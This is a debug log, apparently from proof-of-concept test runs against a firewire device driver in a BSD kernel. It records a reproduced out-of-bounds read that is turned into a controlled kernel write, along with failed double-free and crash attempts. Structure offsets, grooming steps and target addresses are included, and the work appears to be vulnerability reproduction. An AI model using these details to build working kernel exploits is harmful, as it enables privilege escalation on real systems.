df5413: prepared, fc=0xffffffff82606c00 sizeof(fwdma_alloc_multi)=32 offsetof(fw_xferq,rkq)=152 sizeof(fw_bind)=56 sizeof(fw_xfer)=152
df5413: V(target kaddr)=0xffffffff82606300
df5413: attempt 0 bank 0xfffff8008d5a0e60..0xfffff8008d5a1620 pair=3
df5413: attempt 0 it=0xfffff801185852a0 am=0xfffff8008d5a0ea0 nseg=0 bnchunk=65536 bnpacket=65536 psize=2048 bulkxfer=0xfffff80118680000
df5413:   &am->seg[0]=0xfffff8008d5a0ec0 (allocation is 32 bytes) -- seg[0] is OUT OF BOUNDS
df5413:   OOB-read seg[0].v_addr = 0xffffffff82606300 (want 0xffffffff82606300 == GROOMED)
df5413: calling production fw_write, marker before = 0000000000000000
df5413: fw_write err=0 resid=0 marker after = 343546440020abcd 52544e4f432d3331 454b2d44454c4c4f
df5413:   payload="13-CONTROLLED-KERNEL-WRITE!!UUUUffffffffwwwwwwwwM^HM^HM^HM^HM^HM^HM^HM^H^A"
df5413: DF-5413 REPRODUCED: controlled kernel write (header 0x0020ABCD + 32 payload bytes) via OOB seg[0].v_addr to 0xffffffff82606300
df5413: prepared, fc=0xffffffff82606c00 sizeof(fwdma_alloc_multi)=32 offsetof(fw_xferq,rkq)=152 sizeof(fw_bind)=56 sizeof(fw_xfer)=152
df5413: V(target kaddr)=0xffffffff82606300
df5413: attempt 0 bank 0xfffff8004f1025a0..0xfffff8004f102d40 pair=3
df5413: attempt 0 STSTREAM err=22
df5413: attempt 1 bank 0xfffff8004f1025c0..0xfffff8004f103500 pair=0
df5413: attempt 1 STSTREAM err=22
df5413: attempt 2 bank 0xfffff8004f1025c0..0xfffff8004f103cc0 pair=0
df5413: attempt 2 STSTREAM err=22
df5413: attempt 3 bank 0xfffff8004f1025c0..0xfffff8004f104480 pair=0
df5413: attempt 3 STSTREAM err=22
df5413: DF-5413: groom failed after 4 attempts (OOB confirmed but adjacent slot not marker-filled)
df5414: ir=0xfffff8004f20a890 buf=0xfffff8004f24f5c0 bnchunk=8 bnpacket=8
df5414: injected xfer=0xfffff8008bb64320, ir->q head=0xfffff8008bb64320 queued=1
df5414: read#1 err=0 -- ir->q head=0 (?) queued=0
df5414: realloc p1=0xfffff8008bb64320 (same address as freed xfer)
df5414: read#2 err=35 -- p2=0xfffff8008bb643c0 p1=0xfffff8008bb64320 -> allocator reordered (double free still occurred)
df5414: DF-5414 not demonstrated
df5415: production fw_kqfilter with d->ir=NULL, offsetof(fw_xferq, rkq)=152 -- expect Fatal trap 12 at ~0x98 in fw_kqfilter (fwdev.c:739/740)
df5415: UNREACHED: fw_kqfilter returned 19
df5416: A SRSTREAM err=0 ir=0xfffff8004f20a9f0
df5416: A SBINDADDR err=0 fwb=0xfffff8008daa43e0 start=100000000 end=100001000 sub=1; ir[0]->binds head=0
df5416: B SRSTREAM err=0 ir=0xfffff8004f20ab50 (binds list EMPTY: 0)
df5416: B FW_CBINDADDR -- expect Fatal trap 12 in fw_ioctl (STAILQ_REMOVE, fwdev.c:600)
df5416: UNREACHED: CBINDADDR returned 22